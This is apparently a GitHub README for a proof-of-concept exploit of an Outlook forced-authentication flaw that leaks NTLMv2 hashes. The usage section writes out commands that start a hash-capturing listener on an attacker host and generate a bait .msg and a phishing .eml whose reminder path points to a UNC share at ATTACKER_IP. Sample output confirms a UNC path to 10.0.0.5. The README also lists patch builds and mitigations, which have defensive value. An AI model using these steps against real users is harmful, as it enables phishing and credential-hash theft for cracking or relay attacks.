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GitHubamesianx/cve-2026-124194-poc

CVE-2026-124194-poc

Concept PoC for CVE-2026-124194 Outlook spoofing/NTLM leak: crafts .msg files with UNC reminder paths and includes an NTLMv2 hash collector for lab validation.

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CVE-2026-124194 PoC — Outlook Spoofing / Forced Authentication (NTLMv2 Leak)

🇰🇷 한국어 (기본) | English

A proof-of-concept for the Microsoft Outlook spoofing zero-day patched in the November 2026 Patch Tuesday.

[!IMPORTANT] This PoC is a proof-of-concept only. It has NOT been tested against a vulnerable Outlook environment. Only file structure validation (olefile parsing) was verified. Actual exploitability must be verified independently in your own lab.

CVE-2026-124194 — Microsoft Office Outlook Spoofing Vulnerability CVSS 6.5 (Moderate) · MS "Exploitation Detected" · CISA KEV cataloged (2026-11-10, due 2026-11-24)

Overview

CVE-2026-124194 belongs to the same family as CVE-2023-23397. If an attacker-controlled UNC path is planted in a resource that Outlook dereferences automatically during rendering (e.g. the reminder sound path of a message file), Outlook attempts SMB authentication to that path without showing the external content warning, and Windows automatically sends the NTLMv2 hash.

The leaked hash can be used for offline cracking or relay attacks (Exchange, LDAP, file servers, etc.).

Components

FilePurpose
cfb.pyMinimal CFB (Compound File Binary) v3 writer — builds a real OLE container (ministream compliant)
make_msg.pyGenerates a real-format .msg with the trigger property (PidLidReminderFileParameter, 0x851F) holding a UNC path + phishing mail (.eml) wrapper
gen_poc.py(Legacy) EML manifest approach — kept for concept illustration
collect_ntlm.pyNTLMSSP Type3 capture listener for the attacker host — hash collection verification

Usage

# 1) Start the hash collection listener on the attacker host (sudo needed for 445)
python3 collect_ntlm.py --port 445

# 2) Generate the trigger-laden .msg + phishing mail
python3 make_msg.py --attacker-host <ATTACKER_IP> --out bait.msg --eml bait.eml

# 3) Verify the output (olefile parses OLE structure + UNC value — done automatically)

The generated bait.msg satisfies the following when parsed with olefile:

  • __substg1.0_851F001F stream = \\<ATTACKER_IP>\share\reminder.wav
  • This corresponds to PidLidReminderFileParameter (PSETID_Common named property), which a vulnerable Outlook dereferences over SMB when the file is opened.

Structural verification (generator level)

[+] Generated: bait.msg (2560 bytes)
[+] Trigger: PidLidReminderFileParameter = \\10.0.0.5\share\reminder.wav
[+] CFB signature OK (D0 CF 11 E0 A1 B1 1A E1)
[+] olefile parsed: __properties_version1.0 / __substg1.0_001A001F / __substg1.0_851F001F
[+] PidLidReminderFileParameter stream verified: \\10.0.0.5\share\reminder.wav

[!WARNING] The above verifies the structure of the generated file only. Whether an actual SMB connection occurs and NTLMv2 leaks from a vulnerable Outlook was NOT tested.

Patch status

ProductFixed build (>=)
Microsoft 365 Apps for Enterprise2026-11-10 channel security release
Office LTSC 202416.0.17932.21140
Office LTSC 202116.0.14334.21048

Patched Outlook shows the external content warning, blocking this PoC's trigger. Unpatched builds execute the trigger without a warning.

Mitigations (pre-patch)

  1. Block outbound SMB (TCP 445/139) + WebDAV at the perimeter
  2. GPO Network security: Restrict NTLM (Audit → Deny all)
  3. Enforce SMB signing (prevents internal relay)
  4. Compromise triage: Event IDs 4624/4648 (NTLM logon to external targets), OUTLOOK.EXE authenticating to unknown external hosts

References

  • BleepingComputer coverage
  • MSRC CVE-2026-124194
  • CISA KEV catalog
  • Background: CVE-2023-23397 (Microsoft Exchange forced authentication, same mechanism)

Disclaimer

This code is a proof of concept for learning and defensive verification of a patched vulnerability. Use it only on systems you own or have explicit written authorization to test. You are solely responsible for any consequences of misuse. No offensive capabilities (cracking, relaying, delivery) are included. The repository author assumes no liability for abuse of this code.

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